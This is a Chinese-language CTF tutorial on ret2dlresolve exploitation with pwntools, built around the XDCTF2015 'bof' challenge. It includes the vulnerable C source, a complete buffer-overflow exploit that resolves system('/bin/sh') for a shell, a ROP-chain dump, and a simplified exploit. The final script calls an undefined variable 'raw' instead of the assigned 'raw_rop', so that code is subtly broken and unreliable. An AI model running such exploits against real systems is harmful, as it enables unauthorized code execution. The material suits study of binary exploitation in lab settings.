Ret2dlresolvePayload

对于Ret2dlresolve,payload构造特别麻烦,但pwntools有相应的工具,其payload构造可以由Ret2dlresolvePayload来完成。(真香)

help(pwnlib.rop.ret2dlresolve.Ret2dlresolvePayload)

Help on class Ret2dlresolvePayload in module pwnlib.rop.ret2dlresolve:

class Ret2dlresolvePayload(__builtin__.object)
 |  Methods defined here:
 |  
 |  __init__(self, elf, symbol, args, data_addr=None)
 |  
 |  ----------------------------------------------------------------------
 |  Data descriptors defined here:
 |  
 |  __dict__
 |      dictionary for instance variables (if defined)
 |  
 |  __weakref__
 |      list of weak references to the object (if defined)

elf:相应的文件

symbol:函数名称

args:函数参数

data_addr:该payload所在的地址(默认会会放在bss比较高的地址上)

常用方法(用之前要设置context.binary和elf)

dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"],data_addr=0x804ad00)#data_addr直接默认也行,它会自己找到一个合适的地址

漏洞程序源码 bof.c(32位)

#include<unistd.h>
#include<stdio.h>
#include<string.h>
void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";

    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}

exp:

from pwn import*
context.log_level = 'debug'
context.binary = elf = ELF("./bof")
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])

p = process('./bof')
base_stage = dlresolve.data_addr
p3_ret = 0x08048649 #pop esi ; pop edi ; pop ebp ; ret
pebp_ret = 0x0804864b #pop ebp ; ret
leave_ret = 0x0804853a
payload1 = 'a'*112+p32(elf.plt['read'])+p32(p3_ret)+p32(0)+p32(base_stage)+p32(0x200)
payload1 += p32(0x08048370) + p32(dlresolve.reloc_index) + 'dead'+p32(dlresolve.real_args[0])
p.sendafter('!',payload1)
pause()
p.send(dlresolve.payload)

p.interactive()

当然,pwntools对于rop也是有模块可以用的,一些gadgets它会自动去程序里找(真香)。

print(rop.dump())可以查看rop链内容

>>> from pwn import *
>>> context.log_level = 'debug'
>>> context.binary = elf = ELF("./bof")
[DEBUG] PLT 0x8048380 setbuf
[DEBUG] PLT 0x8048390 read
[DEBUG] PLT 0x80483a0 strlen
[DEBUG] PLT 0x80483b0 __libc_start_main
[DEBUG] PLT 0x80483c0 write
[DEBUG] PLT 0x80483d0 __gmon_start__
[*] '/home/tty18pwn/Desktop/ret2dl/x2015/bof'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
>>> rop = ROP(context.binary)
[*] Loaded 10 cached gadgets for './bof'
>>> dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
[DEBUG] Symtab: 0x80481cc
[DEBUG] Strtab: 0x804826c
[DEBUG] Versym: 0x80482d8
[DEBUG] Jmprel: 0x8048324
[DEBUG] ElfSym addr: 0x804ae0c
[DEBUG] ElfRel addr: 0x804ae1c
[DEBUG] Symbol name addr: 0x804ae00
[DEBUG] Version index addr: 0x8048860
[DEBUG] Data addr: 0x804ae00
>>> # pwntools will help us choose a proper addr
... rop.read(0,dlresolve.data_addr)
>>> rop.ret2dlresolve(dlresolve)
[DEBUG] PLT_INIT: 0x8048370
>>> print(rop.dump())
0x0000:        0x8048390 read(0, 0x804ae00)
0x0004:        0x804864a <adjust @0x10> pop edi; pop ebp; ret
0x0008:              0x0 arg0
0x000c:        0x804ae00 arg1
0x0010:        0x8048370 [plt_init] system(0x804ae24)
0x0014:           0x2af8 [dlresolve index]
0x0018:           'gaaa' <return address>
0x001c:        0x804ae24 arg0

所以exp可以进一步简化。

from pwn import *
context.log_level = 'debug'
context.binary = elf = ELF("./bof")
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])

rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
print(rop.dump())
raw_rop = rop.chain()
io = process("./bof")
io.sendafter('\n',flat([{112:raw}]))
pause()
io.send(dlresolve.payload)
io.interactive()